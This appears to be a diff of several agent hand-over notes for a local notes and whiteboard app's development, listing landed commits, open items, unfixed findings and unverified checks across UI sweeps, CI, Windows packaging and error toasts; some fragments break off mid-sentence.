+- The four shapes on: `:ph-name:` reading-view icons (class from `[a-z0-9-]{1,40}`, DOM built), the map icon field (`_is_one_emoji` or the Phosphor pattern), map levels, drag to delete (`wbTrashTake` cancels the gesture so the save path returns), progress phases (`meta` is sent once per stream, so the load-hint timer cannot leak; `setStatus` idempotent), whole-line copy and cut (CM6 calls `preventDefault` when a handler returns true, checked in the vendored bundle), the status-slot move, drag-edge, history rows (`mediaSrc`; a private note gets no thumbnail).
+- CodeQL on the PR: all 87 review threads resolved; the head's `Analyze (python)` green with no new alert.
+- CI on the head: every job green; E2E 6 m 41 s of its 15 m timeout.
+
+## Open (found, not fixed)
+
+1. Pre-tag checklist: `__version__` is `0.3.32` and CHANGELOG's header `## [Unreleased]`; `release.yml` refuses a `v0.4.0` tag until `__init__.py` says 0.4.0, and the notes need `## [0.4.0] - <date>` (README's version is held by `test_readme_freshness`).
+2. CI margin: Tests (Python 3.13) took 16 m 14 s of its 25 m timeout on the head (3.11 15 m 01 s, 3.12 14 m 37 s). A slow runner is a red build; raising it is the owner's call.
+3. Linux release smoke is weaker than Windows': `build-linux-package` only curls `/`, while Windows runs `packaging/frozen_smoke.py` (every lazy asset and the API), and no PR job builds the Linux bundle. Recommend `frozen_smoke.py` there too; not changed, as it cannot be verified without a Linux PyInstaller run.
+4. Quadratic, not reachable from a request: `entry/manager.py:2583` (a note's first line), `core/docexport.py` `_INLINE` (one line), `ai/answer_trim.py:138` (model output), `ai/questions.py:83`: 0.3 to 0.5 s on 12 KB of a crafted pump, on the person's own notes or the model's reply. Left.
+5. Raw exception text in Background jobs: `routes_settings.import_document` records `Couldn't read <file>: <exc>` in `jobruns` (pinned by `test_job_runs.py` as a diagnostic), `jobstore` resume likewise. Local, behind the lock; left as designed.
+
+## Not verified
+
+- No browser was driven: the feature reviews are reading, not sweeps (each feature's sweep is named in its own commit).
+- The release changes are verified by running the step's script in bash (`tests/test_release_smoke_step.py`) and a YAML parse; no tag run.
+- CodeQL's verdict on these six commits arrives with the next push.
+
+## Log
+
+- done: 94f1747, df31d86, e6f5f41, 92dfd7f, 04a69b8, 184030b; `gate.sh --changed` green (92 test files, 1,624 passed, 10 skipped).
+- next: nothing; the open items are the orchestrator's.

+# op3-1005: Atlas's tail, the board's side column, badge alignment, plan phases
+
+Worktree `agent-a12d3cb222913b66e`, cut from `claude/notes-flow-rebuild`
+(merged again at 0fc63e9 and 437b6b3). Sweeps on port 8805, data
+`/tmp/mm-op3`; the 5,000-note bench notebook is `/tmp/mm-op3-bench5k`
+(`scratchpad/kg1005_graph_bench.py` seeds it). Scope from 17:57: items 1 to 3
+plus GRAPH, TIMELINE, CHAT and DOCUMENTS; MINDMAP_PLAN and WHITEBOARD_PLAN
+went to a second Opus agent (the Summarise step in hand was finished).
+
+## Landed
+
+- 21d8b4f INBOX 601, the tail never still: atlas601-tail.js stepped at 60fps
+  over 60s, longest tip spell 1,100 to 400ms (masculine), 650 to 150ms
+  (feminine); real time 588 and 474ms at 8 to 11fps.
+- 1f8992d 596's side column: 176px on a board and a map (173/225), a four
+  cell grid; below 600 a side dock is the bottom strip (picker uncovered).
+- 4a2dfaf badge target: the cap-height centre, in DESIGN.md; badgealign.js
+  measures it (skill facts -1.5px against x-height, -0.5px against caps);
+  inkalign.js retired.
+- 974dded, 0cba0e6 GRAPH slim payload: 3,145 to 1,767 KB at 5,000 notes; the
+  dashboard reads it too (one cached build).
+- 6188da1, 24c1a83 GRAPH first build after a change: the generic encoder
+  skipped, PageRank's links read as columns; about 1.5 s to 0.7 s at 5,000
+  notes.
+- 23fc11e CHAT hover row over its own foot (7 to 13px over the answer at
+  640 to 820 before, 1px clear now).
+- 095c3ff DOCUMENTS_PLAN section 20 tidy (all of D3 to D5 built, checked).
+- 5c1389d 596 skeletons in the board sidebar's Library and Notes tabs.
+- c2b26c6 608's list half (superseded by the upstream DRAG_EDGE build).
+- 6c0a37d Alt+1 to 9 fold a map to a level.
+- 3a27c00 Summarise this branch.
+
+## Left (in this scope)
+
+- GRAPH: nothing measured worth a step (PageRank 0.13 s at 5,000 notes).
+- TIMELINE: every phase built.
+- CHAT: the evals gate on a 3B model (hours on these cores); INBOX 413
+  waits on the owner's next run.
+- DOCUMENTS: the claim check (placed with Phase G's list in MINDMAP_PLAN,
+  "The features audit's Phase G, what is left"; DOCUMENTS_PLAN territory).
+
+## Found, not fixed
+
+- The Library opens on its last sub-tab, which another sweep may have moved;
+  `bm1005-sidebar.js` and `bm1005-mapmulti.js` now click Boards and maps
+  first. Other board sweeps that only click the Library tab will time out
+  the same way.
+- `bm1005-mapmulti.js` waited on `wbFormatSyncSoon`, which the board no
+  longer loads at open; it waits on `wbOpenSidebar` now.
+- A skill fact chip (`.skill-fact-reads`) read dy +4px in one of four
+  identical instances on the Skills sub-tab (badgealign.js, 1440); the
+  sweep dedupes by text, so the instance is not named. Likely a capture of
+  a chip off screen; not isolated.
+
+## Not verified
+
+- The tail's look: every number is the tip's motion, nothing looked at in
+  the desktop window. The tail sweep is fixed at 1280 light (the motion is
+  theme- and width-free).
+- The board Notes tab's skeleton is read, not measured (the boot loads the
+  notebook before a board can open).
+- Summarise this branch with a real model: fake transport only.
+- Graph timings are on a shared sandbox at load 6 to 13; before and after
+  were alternated, not isolated.

+## Landed
+
+| Commit | What |
+| --- | --- |
+| 2424e22 | UI_MOD Phase 9: status bar and quick access 720 rules to 599.98; the empty 900 group's row gone |
+| 2503721 | Files rows' "two rhythms" was the sweep's (provenance line missed): 7 and 9px, the row padding; seven built INBOX blocks moved to HISTORY |
+| 96e4ae8 | Attach picker tiles: a map draws the map, a PDF its first page (glyph on failure), a document its kind; the list renderer moved lazy (attach-to.js) for the boot budget |
+| 698d263 | RapidOCR as an optional extra (row 31 item 97): `ocr.engine()`, Tesseract the default when ready; callers, workspace, Guide name the engine; Vision bundle carries both |
+| 53ec41c | AGENT_SKILLS_REFORM: a skill run's own Undo (`undo_span`, `/events/undo` actors and until, "Undo the run" in Chat) |
+| 5e94cc5 | Design rows: field deeper than track (light 0.10); shadow slider reaches every layer and palette, none clamps; `.empty-line` recipe; Ask grid one column below 1100 |
+| 2f1708e | Concentric rollout by rule; theme preview, swatch, setup snippet on `--radius-inner` |
+| fc94692 | Settings list labels take the ink (Built-in 4.27:1); UI_MOD 94 and 282 found built |
+| 0c04bcd | 444 decision 10: the installed models as model cards (lazy, settings-models.js) |
+| (this commit) | The meeting head and holepoke's seven decided; UI_MOD 393 both halves found built; the autonomous override names its fallback; this file |
+
+Found built, with evidence: WORLD_CLASS row 31 item 79 (every Library card
+kind is select, one open control, one kebab; the Files row "Read this" plus
+a nine-row kebab; `tile3.js` probe at 1440); UI_MOD 94's fourth item (the
+canvas opacity is the slider, 0.2 to 1.0 per 10% step); 282 (no sideways
+scroll at 780 to 1024); 393 (both halves).
+
+## Left, in the order to take them
+
+1. **UI_MOD Phase 9, the whiteboard's off-band widths** (`06-timeline-dialogs.css`
+   `max-width: 40rem`, 07-whiteboard-misc.css's 719.98 / 720 / 640 / 40rem
+   rules): the whiteboard agent's. Then lower `ALLOWED` in
+   `tests/test_breakpoints.py` (719.98 is 3, 720 is 2, 640 is 5, all theirs).
+2. **444 decision 10, still open**: the Tools (4,247px) and Appearance
+   (1,296px) panes are indexed, not split. (The background-job "duplicate" is
+   two settings; the override's default now names its model, this commit.)
+3. **UI_MOD Phase 11 item 11**: the screenshot set for the owner (needs a
+   place to put them that the owner reads).
+4. **460** (two-finger scroll jump): not reproduced twice; needs a real
+   touchpad trace.
+5. **AGENT_SKILLS_REFORM H4**: 4B, Ollama's native dialect on a real Ollama,
+   the built-in skills pass: model-bound, hours on these cores.
+6. **The empty-line recipe's nine named lines** (`EMPTY_LINES_NOT_YET` in
+   `tests/test_ui_recipes.py`): documents' four, Chat's and Ask's two, the
+   graph's and the whiteboard's three, for their owners.
+
+## Found, not fixed
+
+- ~~`tests/test_api_contract_b7.py::test_every_route_that_pages_by_offset_takes_a_cursor`
+  fails on the merged base: `/audit/export.csv` pages by offset with no
+  cursor.~~ Fixed on the head: `routes_settings.py` takes `cursor` through
+  `paging.cursor_param()`; the file passes 10 of 10 (docs hygiene before 0.4.0).
+- The installed models' custom card offers every use (an embedding model is
+  offered "Use for chat"), the same trade Download another model's card makes.
+- The Images cards' slack under their last line (52, 11, 96px) is INBOX 174's
+  recorded decision, not reopened.
+
+## Not verified
+
+- A real RapidOCR install and read (not installed into the shared venv); a
+  real PDF first page in the picker (no render extra here); a live skill run
+  with a model drawing "Undo the run"; a real Ollama for the installed cards.
+- The desktop window; a real phone (Chromium only).
+- Owner's call: RapidOCR as an optional pip extra against the 2026-10-05
+  "fully local, vendored" rule (WORLD_CLASS_PLAN row 31 says so).

+
+Port 8833 (8810 was taken by another worktree's server, data /tmp/mm-s5b),
+data /tmp/mm-op5; Models sweeps on 8834 (/tmp/mm-op5m) against
+`scratchpad/fake_ollama_server.py` on 11533. Branch cut from

+One sweep for the run: `scratchpad/ui-sweeps/op5-1005.js`, MODE=mapio,
+sidedock, models, bands, emptylines; W and THEME as everywhere.
+
+## Landed
+
+| Commit | What |
+| --- | --- |
+| ee8db12 | MINDMAP §12.1 closed (found built or superseded, evidence in HISTORY); eight branch palettes |
+| 1d97eab | Plain-text outline export, .txt import, import by drop on the boards landing (§12.2 items 7 and 10 to HISTORY) |

+| 2204907 | A topic's due day with Remind me (MINDMAP decision 37, §12.2 item 4's date) |
+
+Found built (by the other agent, merged at aa4c5b7): INBOX 596's side column,
+phone overlap and sidebar skeletons (1f8992d, 5c1389d); 608's lists. My own
+596 CSS was dropped for theirs; `op5-1005.js` MODE=sidedock passes on theirs
+(176px on board and map, four column lines, 0px² at 390).
+
+## Left, in order
+
+1. **MINDMAP §12.2 item 4's rest**: tags on a topic (due dates are built,
+   decision 37). Next step: `data.tags` beside `due`, and a decision on
+   whether they are the notebook's tags.
+2. **§12.2 item 5's second half**: a note node shows its note's text in the
+   note peek (`.wb-map-note-peek`), editable both ways. Today
+   `wbMapEditNode` refuses a reference node on purpose (its comment): the
+   plan's "edit each other" reverses that; take it as a decision first.
+3. **§12.3**: item 1 (a topic becomes a note and stays linked; the title
+   edits both ways, same reversal as 2), item 3 (a chat proposal opens as
+   floating topics to accept), item 4 (graph sync: the GRAPH owner's), item
+   5's remainder (a note behind a topic as the answer). "Expand from my
+   notes" is WHITEBOARD decision 36's Branches from my notes; "Summarise this
+   branch" is built (3a27c00, the other agent).
+4. **§13g**: needs the owner (platform, the autoscroll cursor).
+5. **WHITEBOARD_PLAN**: 258 (right-drag pan, a decision for the owner), the
+   conventions pass on notes and the Library (documents and chat are the
+   other agent's), `contrast.js` on boards and maps (a session).
+
+## Found, not fixed
+
+- `tests/test_badge_recipe.py::test_every_status_badge_is_the_label_recipe`
+  failed on the merged base ("in use"); the orchestrator's branch has since
+  changed it to read "In use for" (merged at the end).
+- The gate under a load of 45 to 50 took over 28 minutes for `--staged`
+  (killed once by its 1700s timeout at staged-lints 52%).
+- The doc-focus panels between 720 and 819 now cover the page (as below 720
+  before); not driven in a sweep.
+
+- Under a load of 45 the whiteboard's lazy bundle can take longer than a
+  sweep's fixed 1.2s wait (`initWhiteboard is not defined`); `op5-1005.js`
+  and `mapviewmenu.js` now wait for the function. Other sweeps with the
+  fixed wait will flake the same way under load.
+
+## Not verified
+
+- A real Ollama's `details` for the kinds (the fake's tags carry none; the
+  catalogue names decide there); a file dragged from a real file manager
+  onto the boards landing (the sweep dispatches the DragEvent).

+
+Worktree `agent-a07a165a0498163cb`, cut from `claude/notes-flow-rebuild` at
+6c4164c. Sweeps on port 8812, data `/tmp/mm-qa`, seeded by
+`scratchpad/ui-sweeps/seed-showcase.py` (75 notes, 3 documents, a board, a
+map, 8 reminders, 4 chats) plus a second board and five notes by hand: 80
+notes. From 18:39 to about 20:25 the machine ran at a load average of 45 to
+55 (32 orphaned `python3 -c "while True: pass"` processes, parent 1, not this
+session's; gone by 20:25), so every timing claim below was read with the slow
+path forced on purpose (a route held 1.5 to 3s) rather than trusted to the

+
+New measurement, both in `scratchpad/ui-sweeps/`:

+- `search1005-lazy.js` FIRST=1: nine lazy doors, each gestured right after

+
+## Landed

+- a83b9a4 drag-edge on the first drag after boot: 0px, then 756px (boot keeps

+- 11df185 Library: the Cards/Rows well pressed before `/library` answers,

+# toasts-1006: which error toasts are faults, which are expected situations
+
+Done in worktree `agent-a3fc0f99358b8857f` from `claude/notes-flow-rebuild` 22c3169.
+The owner's end-to-end pass found that normal situations showed the red error
+toast with "Report this" (Dictate without the voice add-on, Compress on an empty
+chat, Add on an empty reminder), so a person thought the app was broken. The
+three named cases were already plain toasts (`tests/test_no_report_on_expected.py`);
+this pass found the other hundred.
+
+## Result
+
+Every `toast(...)` call in `frontend/js/*.js` that passes `true` was classified
+(469 calls, found by a balanced-paren scan, not grep: four span several lines).
+The brief said about 105; that was the expected-situation count, the total was 469.
+
+| Class | Calls | What happens now |
+| --- | --- | --- |
+| b expected situation | 108 | `toast(text, "info")`: plain, no "Report this", ignores "mute notifications" |
+| a fault, literal message | 36 | unchanged, red with "Report this"; each is listed with its reason in `FAULTS` in the test |
+| a fault, a failed request's own `error.message` | 325 | unchanged call; the helper shows it plain when the server answered 4xx (a refusal by design), red for 5xx, network failure or exception |
+| plus one computed flag | 1 | `library.js` 6411 (a describe that wrote nothing) is plain |
+
+## The helper change (gzipped as served: app.js 14,205 to 14,222 of 14,300, total 319,757 to 319,896 of 320,300)
+
+- `toast()` in status.js: `isError === "info"`, or `true` with a message found
+  in `toast.refused`, becomes a plain toast with `exempt` (a direct answer to a
+  press must not be silenced by "mute notifications"; before, a muted install
+  would have lost the plain version of these messages entirely).
+- `api()` in app.js: `if (response.status < 500) toast.refused.add(errMsg);`.
+  The 325 catch-block calls need no edit; this is the one change that covers them.
+- 109 call sites now pass `"info"`: 106 by script, two multi-line ones by hand,
+  and `library.js` 6411's computed flag. No wording changed: each message already
+  says what to do or what is missing.
+
+## Lint
+
+`tests/test_error_toasts.py`: every expected call is `"info"`; a new `true` call
+with a message of its own that is not a failed request's `.message` fails until
+it is listed in `FAULTS` with a reason (or made `"info"`); a computed flag must
+be in `DYNAMIC`; "Report this" has one home (status.js) and the helper gates it.
+
+## Not verified
+
+- Browser, port 8810 (`/tmp/claude-0/.../scratchpad/verify.js`, Playwright):
+  Dictate without the add-on, Compress on an empty chat, Add on an empty
+  reminder, a direct `"info"` toast, an `"info"` toast with notifications muted
+  (shown), a 404 through `apiJson` then `toast(e.message, true)` (plain, no
+  button, blue ink), a 500 (red, with Report this) and the network line (red,
+  with Report this). The other 100 call sites were not each triggered; they are
+  one string flag each, covered by the lint, and their situations (for example a
+  formatter refusing a file, Atlas off in Suggestions) were not driven.
+- The 4xx rule trusts the server's status: a 4xx that is really a client bug
+  (a 422 from a malformed request) now shows plain, so it would no longer offer
+  "Report this"; it is still in Settings > Logs (`recordBrowserLog`).
+
+## Found, not fixed
+
+- `settings-packages.js` 397, 538, 553, 567: `toast(result.message, !result.started)`
+  is red when a package action did not start, which is often "busy" or "already
+  installed"; the server's reply carries no kind, so it is left red.
+- `suggestions-inbox.js` 578 (partial link run) and `whiteboard.js` 8857 (a clear
+  that left items) are red by a computed flag; they are partial failures.
+- `ai-tools.js` 685 and neighbours say "Open Settings, Models" in words; none is a
+  link. A button on the toast would be the next step and is a new control.

+# Windows packaging audit before 0.4.0 (2026-10-05)
+
+Branch cut from `claude/notes-flow-rebuild` (merged first). Nothing pushed.
+Local proof: the Windows spec built on Linux with PyInstaller (no torch),
+then `packaging/frozen_smoke.py` against it: 128 assets, 0 failures, no
+traceback, nothing written into the bundle; `--install-extras docx,pyodide`
+exit 0.
+
+## Done
+
+- 19e639f alembic.ini plain ASCII (the Alembic stamp failed under cp932/936/949 and a C locale).
+- 891f63a both specs list every app module (needle_provider was missing: 198 of 200 bundled).
+- 89e848c bootloader splash asked for only when one exists (a traceback per launch in the log).
+- 622bd00 tray Restart on Windows (os.execv unquoted argv split the exe path); abrupt exits release instance.lock.
+- 9588157 atomic writes retry a refused rename on Windows, UTF-8.
+- 535673e no bytecode written beside the exe (migrations/__pycache__ outlived uninstall).
+- 059b75b whole stdlib bundled for extras (filecmp, ctypes.util, optparse, venv were missing; +3 MB).
+- d85d4a4 extras: bundled requirements.txt constrains pip; Linux asks for manylinux wheels.
+- dab77ad /capabilities: no MCP command the packaged app cannot run.
+- 4482ea1 lazy stylesheets carry their own stamp (library-lazy.css cached under app.js's).
+- ccbce0f start.bat/uninstall.bat: shell's Desktop (OneDrive), apostrophes in paths.
+- 5e2e487 installer version from `__version__`, tag check in release.yml, `[InstallDelete] {app}\_internal`.
+- 3e8509d package-check: frozen_smoke (lazy assets + MIME, API, Alembic), pyodide, upgrade over the latest release, clean uninstall; release.yml runs the same smoke.
+- a6d0a39 uninstaller deletes the downloaded `extras` folder too on yes.
+- e406d37 Repair leaves a running copy's window profile alone.
+
+## Left (not verified until CI's Windows job runs)
+
+- installer.iss's ISPP version reader (`#sub`/`#for`, single-quoted `'"'`, `RPos`) compiles only on Windows: first push shows it.
+- The upgrade step downloads the latest release with `gh` and `github.token`; a fork or a repo without releases fails it loudly.
+- The traceback check in the smoke step reads the app's whole output; a benign logged traceback on Windows would fail it.
+
+## Found, not fixed (all four since done)
+
+- e48e60f instance lock claimed before the window opens (`_claim_notebook`: port chosen, lock written, then `create_window`); `_boot_and_swap` only sets the focus handler. A copy arriving in the remaining gap (relaunch decision, WebView2 probe) sees "starting" and waits.
+- 80ec91e silent update reopens the app: the updater passes `/RELAUNCH=1`, a silent-only `[Run]` entry in installer.iss starts it. Not verified: no Windows here; an update from a build older than this one has no such flag, so that first update still needs a manual reopen.
+- 6b1693a start.bat reads `%~dp0`/`%~f0` and cds before `enabledelayedexpansion` (a nested setlocal; every endlocal is followed by an exit). Not verified on cmd.
+- bae18a3 both specs filter `__pycache__` from `a.datas`; not run under PyInstaller (not installed here), the filter is tested on the entry shapes.

+# arch1005: what the architecture fix agent left open (2026-10-05)
+
+The audit is `scratchpad/audit1005/arch.md`; each finding fixed carries
+`FIXED <commit>` on its line. Open, most severe first:
+
+- **ARCH-02, the rest.** A save is no longer O(notebook) in Python, but
+  measured with 384-wide vectors at load 10 to 13 a 400-word save was 390 to
+  615 ms at 5,000 notes against 61 to 96 ms at 500 (4,300 ms before): the
+  remaining growth is numpy over the whole matrix (the kNN product, the
+  matrix's own `vstack` on each new vector) and the lexical candidates on a
+  small vocabulary. Not met: the brief's "within 20% of 500". The `PUT`
+  embeds off the request since 98c3a74 (perf2-1005.md has the rest).
+- **ARCH-04, the client half.** The cursor exists (`after`,
+  `X-Next-Cursor`); `notes-list.js` still reads every page by offset into
+  `allEntries`. Frontend audit FE-05.
+- **ARCH-09, the lane.** Background model work yields to a streaming chat
+  turn (`core/model_gate.py`); `file-entry` still shares the one-wide model
+  lane with captions, kept on purpose (two models loaded at once is the
+  memory failure the lane exists to prevent).
+- **ARCH-11.** Done by perf2-1005 (7449811, ea24997).
+- **ARCH-13.** The list lint keyed on what a route returns is built
+  (4460c21); response models and one paging helper are in perf2-1005.md.
+- **ARCH-16, the rest.** Follow-ups are skipped while a turn streams; there
+  is still no preference, and no hardware probe says "CPU only".
+- **ARCH-10.** The import-cycle ratchet holds 15 and 3. ARCH-21 is done
+  (bc0e0a9); ARCH-22 is four of five (3393d84, perf2-1005.md).
+- **ARCH-25.** The pool size and a chat stream holding its connection;
+  `restore_backup` with sessions open (read, not reproduced).

+# Atlas agent, 2026-10-05 (INBOX 600, 601, 612, 614, 615, 619, 623)
+
+Worktree `agent-ad45f4a86061017af`. Sweeps on port 8792 (data `/tmp/mm-atlas`);
+the base for every before number is 492d182 (before the 615 and 619 work)
+served from a snapshot on 8803.
+
+## Done
+
+- 612, 614 (earlier commits dc6237a, 948eb8e): logged and resolved.
+- 615 and 619's seam (0c7b64b): the lower body inside the body's breathing
+  box; its own motion a shear about the join. atlas615-join.js at 2.2x,
+  worst step 8.64 to 0.76px (masculine), 6.29 to 0.57px (feminine).
+- 619 sleep (cc2f11e): no lower-layer or waist-wisp turn lying or curled.
+- 619 eyes (f8d82a4): iris and heart cross over on one clock;
+  atlas619-eyes.js blank 464ms to 0 (stepped transitions, both looks,
+  companion and large view, light and dark).
+- 619 large view and 600 (f7d77c7): the visiting companion floats free,
+  with the view's sway; atlas619-viewer.js and atlas600-still.js.
+- 623 (hand, head, ground, icons commits): each prop's own loop about its
+  grip, still under reduced motion; atlas623-props.js grip gap 0 every frame.
+- The boot JS back under its cap: the living tail, ring and prop loops in
+  the lazy atlas-life.js.
+
+## Left
+
+- atlas619-blend.js (every animation stepped by hand): laughing's end moves
+  the whole figure about 3px over three frames, base and fix alike, at 1440
+  and 390; at 390 dark, the masculine tilt's start 7px and the feminine
+  wiggle's end 3.3px. Not isolated: in real time the mood's hand-over
+  animation is created, so the stepping itself may be the cause. Next:
+  trace the figure box's computed transform per stepped frame at 390.
+- atlas601-tail.js still reads the tail's tip still for 1.8 to 2.2s; the
+  machine's load was 15 to 21 throughout and the tail's springs cap a frame
+  at 0.1s, so under 2fps it runs slow; not re-measured on a quiet machine.
+- At 390 the props and viewer sweeps ran at 2 to 7 frames a second: the
+  coil, the moon and the feminine sit's calm (1,027ms) read under their
+  thresholds there and pass at 1440.
+
+## Not verified
+
+- Nothing was looked at in the desktop window; every number is a sweep's.
+- The masculine cloak's flare leaves the torso's taper at the join by 0.1 to
+  0.2 units of the drawing (0.4px at 2.2x), drawn so; the join threshold is
+  1px at 2.2x.

+- Skill run's own Undo (AGENT_SKILLS_REFORM placed row): the client holds no event ids and tool writes carry `ai:<tool>` actors, so it needs an "events since" read and an actor decision first.
+- `/graph` payload cache (GRAPH_PLAN, still open): the key has to cover pins, access counts, attachments, board members and vault state; a stale payload is worse than a slow one.
+- Audio attachments (BACKLOG 75): suffix list, size ceiling, a player in the attachment row and the lightbox, `media-src` in the CSP, a Library sub-tab.
+- Search results grouped by category or tag, per-note pinned AI context (Alembic), chat summaries as a search source (a new `KINDS` entry touches every kind table), query expansion and re-ranking (the quality claim needs a real model).
+- Relative-date tag and nudge (BACKLOG 10), events as bands (Alembic), appearance rows (a vendored font, line-height and measure tokens), update-channel UI.
+- `editor.js` sweep still reads the retired editor (DOCUMENTS_PLAN placed row, Sonnet M): not started.
+- `revealcell.js` at 390 needs the editor opened first (the document opens on the reader).
+- BACKLOG 115 row 8 (saved searches) is built (`settings-wiring.js` saved filters); the row still reads "Next".

+# Design 1004: what is left
+
+Four items, all done; the accounts are in HISTORY.md, "Moved from the plans,
+2026-10-04 (design-1004)".
+
+1. One filled button per dialog: `PRIMARY_RATCHET` gone, strict, the four
+   stage-gated pairs hand the fill over with `stagePrimary` (`STAGE_PAIRS`).
+2. Meta chips: 13 rules to 0; a pressable chip is styled through
+   `.chip-interactive`; `META_EDGED` keeps two edges by name.
+3. The viewport popups with the background art on: measured clean
+   (`scratchpad/ui-sweeps/popupsart.js`), no app change.
+4. The document's first line on a phone: Read view 255 to 199 at 390x844
+   (`scratchpad/ui-sweeps/docphonetop.js`).
+
+## Still open, in the order to take them
+
+1. **The chat model panel with a model connected.** `popupsart.js` cannot
+   open `#chat-model-panel` without a configured chat model
+   (`openChatModelPanel` returns); it is a child of body, so no card can trap
+   it, but its rows were not measured. Sonnet, with `scratchpad/llama-dev.sh`.
+2. **The chat dock's select menus at 390.** The selects live in the How it
+   answers sheet there; the sweep measures the sheet, not a select opened
+   from inside it. Sonnet: open the sheet, then the opener inside it.
+3. **WORLD_CLASS_PLAN 1.2's wording and DESIGN.md's label recipe disagree**
+   on whether a status is meta (no edge) or a label (hairline box). Taken
+   here: the label recipe, the later and more specific decision (INBOX 461),
+   kept by name in `META_EDGED`. If the owner wants statuses edgeless, it is
+   one rule (`.chip.item-label`'s border) and the set entry.
+
+4. **A sticky's grip in dark, 1.42:1.** `contrast.js` (THEME=dark, a board
+   holding one sticky) reports `.wb-object-grip` "⠿" `rgb(181,179,173)` on
+   the sticky's `rgb(156,151,112)`; light is clean, as is everything else in
+   both themes. Not touched here (whiteboard). It is a drag handle, so the
+   bar is 3:1 (WCAG 1.4.11): tint the glyph from the sticky's own colour.
+
+## Not verified
+
+- A real phone: `popupsart.js` and `docphonetop.js` run Chromium's touch
+  emulation at 390x844.
+- The art's actual pixels behind a popup: every popup measured has an
+  opaque ground (alpha 1), so contrast is the ground's, not the art's.

+Branch `design-rows-1005`. Every item measured with a sweep in
+`scratchpad/ui-sweeps/` at 1440 and 390, light and dark, on port 8794.
+
+## Done
+
+1. **INBOX 616, the note edit form** (`noteedit616.js`: 11 findings at 1440
+   before, 0 in all four runs after; `noteeditflow.js` all pass). The title
+   is large borderless text; a properties line under it holds the category
+   chip and the tags as padded chips with Add tag (no well, no '#'); the
+   strip is one icon row that never folds (Capture too, `capturestrip.js`);
+   Related folds to "N suggested links"; the foot is Attach a link and the
+   word count, then Cancel and Save. Attach a link opens the bookmark picker
+   (`pickLibraryItemDialog`); it used to draw a select into a hidden panel.
+2. **INBOX 618, the top and bottom bars** (`bars618.js`: 11 findings at 1440
+   before, 0 in all four after). The space picker a ghost the tabs' shape;
+   no stroke on the selected tab; a 28px logo tile; Quit at 0.72 opacity at
+   rest; quiet counts; Agent, Guide and Find icon-only with an aria-label;
+   the page arrows and undo/redo one group, no divider.
+3. **INBOX 620, the quick sketch** (`sketch620.js`: 3 findings at 1440
+   before, 0 after). 16px under the head row; the toolbar a borderless
+   `--field-inset` tint with no rules between groups; the white ink dot (and
+   the black one in dark) ringed.
+4. **Settings panes' main action in their bars** (`paneacts.js`, 0 failing
+   at 1440 and 390, light and dark). Personas, Skills and Templates carry a
+   ghost "+ New ..." in the dock that opens the form, ends an edit and
+   focuses Name; below 600 it is its plus on the title's row (Personas'
+   dock 154 to 114px at 390). Improve writing at the touch floor was already
+   built (06ef110; `improvefoot.js` re-run: every button 44px at 390, both
+   themes).
+
+## Left
+
+- Capture's strip wraps to two rows at 390 until the library bundle loads
+  (its More lives in that bundle); after it loads it is one row
+  (`capturestrip.js` with `LIB=0` shows the first state).
+- INBOX 621 (header bars redesign) and 622 (Settings navigation) were placed
+  "after 616" with an Opus design agent; not taken here.
+- `stripground.js` samples a pixel that lands on an icon at 390; it is a
+  1440 sweep.
+
+## Not verified
+
+- The desktop window; a real phone (Chromium touch emulation only).
+- Quit's 0.72 opacity contrast is computed (about 3.1:1 light, 5:1 dark on
+  the bar's ground), not read from pixels: the icon strokes are too thin to
+  sample.

+# Documents 1004: what is left
+
+Worked DOCUMENTS_PLAN's open rows in the brief's order. Section 17 (17a to
+17e), the phone formatting bar, Phase 5 items 2 and 3, Phase 7's python-docx
+row and Phase 8c's board card were already built; the plan's stale rows now
+point at HISTORY.md ("Moved from the plans, 2026-10-04 (the documents phone
+pass)"), which also holds what this pass fixed (the status line under the foot
+bar, the selection bar off a phone's window, the task box at the target
+floor's size, grammar on wiki links) and the `enhanceSelect` focus lint.
+
+Sweeps added: `scratchpad/ui-sweeps/docphonebar.js` (390x844, THEME) and
+`doctaskbox.js` (1440, 820, 390, THEME).
+
+## Still open, in the order to take them
+
+1. ~~The viewport popups with the background art on~~ Done by design-1004: measured clean (HISTORY.md, "Moved from the plans, 2026-10-04 (design-1004)").
+2. **The selection bar and a phone's own selection menu.** iOS and Android
+   draw Cut, Copy and Paste above a selection, where this bar also goes. Not
+   observable here; if a report arrives, the bar goes below the selection
+   on `(pointer: coarse)` (one line in `selectionBarShow`).
+3. ~~The phone's chrome above the first line~~ Done by design-1004: Read view's first line 255 to 199 at 390x844 (HISTORY.md, same section).
+4. **Section 18's chat context** on a phone: its commands press controls in
+   the chat dock, so measure against that dock (not done here).
+5. Left deliberately (OPEN.md): the word menu's shrink-to-fit width (not
+   observed), Phase 6 item 4's icons rail (a no-op by measurement).
+
+## Not verified
+
+- A real on-screen keyboard (the foot bar and the card's margin read
+  `--keyboard-inset`, stubbed only by `dockeyboard.js`).
+- A real phone's selection handles and system menu against the selection bar.
+- The task box's strip with a real finger (Chromium's touch emulation also
+  snaps a tap to a nearby target, so the strip's own reach is measured by

+- `POST /extras/bulk` (`start_bulk`): install, remove or reinstall a bundle or

+## Left
+
+1. **The Word writer has never run here.** python-docx is not in the sandbox
+   venv and the brief forbids installing it, so the five writer tests in
+   `tests/test_docexport_pictures.py` skip. Run them once where the extra is
+   installed (`.venv/bin/pip install python-docx` in a scratch venv, never the
+   shared one), then open one export in Word or LibreOffice and look at a
+   centred, captioned picture. Calls used: `run.add_picture`,
+   `InlineShape.width/height`, `wp:docPr` `descr`, the `Caption` style.
+2. **No real pip ran.** Every bulk test fakes `subprocess.Popen`, and the
+   sweep stubs every POST. A real bulk install (two small pip extras, say
+   docx and pdfpages) in a scratch data dir and venv would confirm the
+   progress row, the history card's summary and Quit between packages.
+3. **The bundle groupings are a recommendation**, taken under standing order
+   3: Documents (documents, docx, pdfpages), Vision (ocr, pdfpages), AI
+   (semantic, needle, localllm), Voice, Desktop, Code (pyodide). The owner may
+   regroup; it is one tuple.
+4. **Phone layout.** At 390 a row's ⋯ sits on the line under its name and
+   chip (the existing phone stacking in 10-responsive.css), and a bundle with

+# Harness and whiteboard 1004: what is left
+
+Measured (3B, forced first rounds of eleven note-targeting imperatives,
+two tries each): a right first tool 17 of 22 before, 20 of 22 after; a
+harmless read first 2 to 0; a new note for a named one 2 to 0. Questions:
+right 10 of 13 to 12 of 13, a write first 0 to 0.
+
+Part A (AGENT_SKILLS_REFORM H4's found-not-fixed) and Part B
+(WHITEBOARD_PLAN's open rows) of the 2026-10-04 brief. What landed is in
+HISTORY.md ("Moved from the plans, 2026-10-04": the first round, board frames,
